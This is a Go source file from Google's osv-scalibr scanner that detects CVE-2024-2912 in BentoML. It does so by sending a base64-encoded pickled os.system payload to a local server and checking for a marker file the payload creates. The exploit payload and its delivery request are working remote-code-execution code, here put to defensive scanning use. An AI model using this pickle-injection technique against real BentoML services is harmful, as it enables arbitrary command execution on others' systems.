github.com/google/osv-scalibr@v0.4.1/detector/cve/untested/cve20242912/cve20242912.go (about)

     1  // Copyright 2025 Google LLC
     2  //
     3  // Licensed under the Apache License, Version 2.0 (the "License");
     4  // you may not use this file except in compliance with the License.
     5  // You may obtain a copy of the License at
     6  //
     7  //      http://www.apache.org/licenses/LICENSE-2.0
     8  //
     9  // Unless required by applicable law or agreed to in writing, software
    10  // distributed under the License is distributed on an "AS IS" BASIS,
    11  // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    12  // See the License for the specific language governing permissions and
    13  // limitations under the License.
    14  
    15  // Package cve20242912 implements a detector for CVE-2024-2912.
    16  // To test this detector locally, install a vulnerable version of BentoML and its dependencies.
    17  // python3 -m venv bentoml_env; source bentoml_env/bin/activate;
    18  // pip install transformers==4.37.2; pip install torch==2.2.0; pip install pydantic==2.6.1; pip install bentoml==1.2.2;
    19  //
    20  // Once installed, create a service.py file as shown in the documentation: https://github.com/bentoml/quickstart/blob/main/service.py
    21  // Serve the application using the following command:
    22  // bentoml serve service:Summarization
    23  package cve20242912
    24  
    25  import (
    26  	"bytes"
    27  	"context"
    28  	"encoding/base64"
    29  	"fmt"
    30  	"io/fs"
    31  	"net"
    32  	"net/http"
    33  	"os"
    34  	"strconv"
    35  	"strings"
    36  	"time"
    37  
    38  	"github.com/google/osv-scalibr/detector"
    39  	"github.com/google/osv-scalibr/extractor"
    40  	"github.com/google/osv-scalibr/extractor/filesystem/language/python/wheelegg"
    41  	scalibrfs "github.com/google/osv-scalibr/fs"
    42  	"github.com/google/osv-scalibr/inventory"
    43  	"github.com/google/osv-scalibr/log"
    44  	"github.com/google/osv-scalibr/packageindex"
    45  	"github.com/google/osv-scalibr/plugin"
    46  
    47  	osvpb "github.com/ossf/osv-schema/bindings/go/osvschema"
    48  	structpb "google.golang.org/protobuf/types/known/structpb"
    49  )
    50  
    51  type bentomlPackageNames struct {
    52  	packageType  string
    53  	name         string
    54  	fixedVersion string
    55  }
    56  
    57  const (
    58  	// Name of the detector.
    59  	Name = "cve/cve-2024-2912"
    60  
    61  	payloadPath       = "/tmp/bentoml-poc-CVE-2024-2912"
    62  	bentomlServerPort = 3000
    63  	defaultTimeout    = 5 * time.Second
    64  	schedulerTimeout  = 40 * time.Second
    65  	bentomlServerIP   = "127.0.0.1"
    66  )
    67  
    68  var (
    69  	// Base64 encoded payload b'\x80\x04\x95?\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c$touch /tmp/bentoml-poc-CVE-2024-2912\x94\x85\x94R\x94.'
    70  	pickledPayload  = []byte("gASVPwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCR0b3VjaCAvdG1wL2JlbnRvbWwtcG9jLUNWRS0yMDI0LTI5MTKUhZRSlC4=")
    71  	bentomlPackages = []bentomlPackageNames{
    72  		{
    73  			packageType:  "pypi",
    74  			name:         "bentoml",
    75  			fixedVersion: "1.2.5",
    76  		},
    77  	}
    78  )
    79  
    80  // Detector is a SCALIBR Detector for CVE-2024-2912.
    81  type Detector struct{}
    82  
    83  // New returns a detector.
    84  func New() detector.Detector {
    85  	return &Detector{}
    86  }
    87  
    88  // Name of the detector.
    89  func (Detector) Name() string { return Name }
    90  
    91  // Version of the detector.
    92  func (Detector) Version() int { return 0 }
    93  
    94  // Requirements of the detector.
    95  func (Detector) Requirements() *plugin.Capabilities {
    96  	return &plugin.Capabilities{DirectFS: true, RunningSystem: true, OS: plugin.OSLinux}
    97  }
    98  
    99  // RequiredExtractors returns an empty list as there are no dependencies.
   100  func (Detector) RequiredExtractors() []string { return []string{wheelegg.Name} }
   101  
   102  // DetectedFinding returns generic vulnerability information about what is detected.
   103  func (d Detector) DetectedFinding() inventory.Finding {
   104  	return d.findingForPackage(nil, nil)
   105  }
   106  
   107  func (Detector) findingForPackage(dbSpecific *structpb.Struct, pkg *extractor.Package) inventory.Finding {
   108  	bentoMlPkg := &extractor.Package{
   109  		Name:     "bentoml",
   110  		PURLType: "pypi",
   111  	}
   112  	return inventory.Finding{PackageVulns: []*inventory.PackageVuln{{
   113  		Package: pkg,
   114  		Vulnerability: &osvpb.Vulnerability{
   115  			Id:      "CVE-2024-2912",
   116  			Summary: "CVE-2024-2912",
   117  			Details: "CVE-2024-2912",
   118  			Affected: inventory.PackageToAffected(bentoMlPkg, "1.2.5", &osvpb.Severity{
   119  				Type:  osvpb.Severity_CVSS_V3,
   120  				Score: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
   121  			}),
   122  			DatabaseSpecific: dbSpecific,
   123  		},
   124  	}}}
   125  }
   126  
   127  func findBentomlVersions(px *packageindex.PackageIndex) (string, *extractor.Package, string) {
   128  	for _, r := range bentomlPackages {
   129  		pkg := px.GetSpecific(r.name, r.packageType)
   130  		if len(pkg) > 0 {
   131  			p := pkg[0]
   132  			return p.Version, p, r.fixedVersion
   133  		}
   134  	}
   135  	return "", nil, ""
   136  }
   137  
   138  // CheckAccessibility checks if the BentoML server is reachable
   139  func CheckAccessibility(ctx context.Context, ip string, port int) bool {
   140  	target := fmt.Sprintf("http://%s/summarize", net.JoinHostPort(ip, strconv.Itoa(port)))
   141  
   142  	req, err := http.NewRequestWithContext(ctx, http.MethodGet, target, nil)
   143  	if err != nil {
   144  		log.Infof("Error creating request: %v", err)
   145  		return false
   146  	}
   147  
   148  	client := &http.Client{Timeout: defaultTimeout}
   149  	resp, err := client.Do(req)
   150  	if err != nil {
   151  		log.Infof("Request failed: %v", err)
   152  		return false
   153  	}
   154  	defer resp.Body.Close()
   155  	return true
   156  }
   157  
   158  // ExploitBentoml sends payload to the BentoML service
   159  func ExploitBentoml(ctx context.Context, ip string, port int) bool {
   160  	target := fmt.Sprintf("http://%s/summarize", net.JoinHostPort(ip, strconv.Itoa(port)))
   161  
   162  	payload, err := base64.StdEncoding.DecodeString(string(pickledPayload))
   163  	if err != nil {
   164  		log.Infof("Payload decode failed: %v", err)
   165  		return false
   166  	}
   167  
   168  	ctx, cancel := context.WithTimeout(ctx, defaultTimeout)
   169  	defer cancel()
   170  
   171  	req, err := http.NewRequestWithContext(ctx, http.MethodPost, target, bytes.NewBuffer(payload))
   172  	if err != nil {
   173  		log.Infof("Error creating request: %v", err)
   174  		return false
   175  	}
   176  	req.Header.Set("Content-Type", "application/vnd.bentoml+pickle")
   177  
   178  	client := &http.Client{}
   179  	resp, err := client.Do(req)
   180  	if err != nil {
   181  		log.Infof("Error sending request: %v\n", err)
   182  		return false
   183  	}
   184  	defer resp.Body.Close()
   185  
   186  	// The payload is expected to trigger a 400 Bad Request status code
   187  	if resp.StatusCode != http.StatusBadRequest {
   188  		log.Infof("Unexpected status code: %d\n", resp.StatusCode)
   189  		return false
   190  	}
   191  
   192  	return true
   193  }
   194  
   195  func fileExists(filesys scalibrfs.FS, path string) bool {
   196  	_, err := fs.Stat(filesys, path)
   197  	return !os.IsNotExist(err)
   198  }
   199  
   200  // Scan checks for the presence of the BentoML CVE-2024-2912 vulnerability on the filesystem.
   201  func (d Detector) Scan(ctx context.Context, scanRoot *scalibrfs.ScanRoot, px *packageindex.PackageIndex) (inventory.Finding, error) {
   202  	bentomlVersion, pkg, fixedVersion := findBentomlVersions(px)
   203  	if bentomlVersion == "" {
   204  		log.Debugf("No BentoML version found")
   205  		return inventory.Finding{}, nil
   206  	}
   207  
   208  	bv := strings.Split(strings.TrimLeft(strings.ToLower(bentomlVersion), "v"), ".")
   209  	fbv := strings.Split(fixedVersion, ".")
   210  	if len(bv) < 3 {
   211  		log.Infof("Unable to parse version: %q", bentomlVersion)
   212  		return inventory.Finding{}, nil
   213  	}
   214  
   215  	// Check if the installed version is lower than the fixed.
   216  	isVulnVersion := false
   217  	if bv[0] < fbv[0] {
   218  		isVulnVersion = true
   219  	} else if bv[0] == fbv[0] && bv[1] < fbv[1] {
   220  		isVulnVersion = true
   221  	} else if bv[0] == fbv[0] && bv[1] == fbv[1] && bv[2] < fbv[2] {
   222  		isVulnVersion = true
   223  	}
   224  
   225  	if !isVulnVersion {
   226  		log.Infof("Version not vulnerable: %q", bentomlVersion)
   227  		return inventory.Finding{}, nil
   228  	}
   229  
   230  	log.Infof("Version is potentially vulnerable: %q", bentomlVersion)
   231  
   232  	if !CheckAccessibility(ctx, bentomlServerIP, bentomlServerPort) {
   233  		log.Infof("BentoML server not accessible")
   234  		return inventory.Finding{}, nil
   235  	}
   236  
   237  	if !ExploitBentoml(ctx, bentomlServerIP, bentomlServerPort) {
   238  		log.Infof("BentoML exploit unsuccessful")
   239  		return inventory.Finding{}, nil
   240  	}
   241  
   242  	log.Infof("Exploit complete")
   243  
   244  	if !fileExists(scanRoot.FS, payloadPath) {
   245  		log.Infof("No POC file detected")
   246  		return inventory.Finding{}, nil
   247  	}
   248  
   249  	log.Infof("BentoML version %q vulnerable", bentomlVersion)
   250  
   251  	err := os.Remove(payloadPath)
   252  	if err != nil {
   253  		log.Infof("Error removing file: %v", err)
   254  	}
   255  	log.Infof("Payload file removed")
   256  
   257  	dbSpecific := &structpb.Struct{
   258  		Fields: map[string]*structpb.Value{
   259  			"extra": {Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("%s %s %s", pkg.Name, pkg.Version, strings.Join(pkg.Locations, ", "))}},
   260  		},
   261  	}
   262  	return d.findingForPackage(dbSpecific, pkg), nil
   263  }